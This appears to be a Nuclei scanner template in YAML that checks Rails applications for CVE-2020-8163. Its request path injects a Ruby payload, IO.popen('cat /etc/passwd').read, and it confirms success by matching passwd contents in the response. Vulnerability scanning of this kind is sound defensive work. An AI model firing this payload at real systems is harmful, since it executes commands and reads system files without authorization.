30 lines
736 B
YAML
30 lines
736 B
YAML
id: CVE-2020-8163
|
|
|
|
info:
|
|
name: Potential Remote Code Execution on Rails
|
|
author: tim_koopmans
|
|
severity: high
|
|
description: Tests for ability to pass user parameters as local variables into partials
|
|
reference:
|
|
- https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2020-8163
|
|
cwe-id: CWE-94
|
|
tags: cve,cve2020,rails,rce
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
part: body
|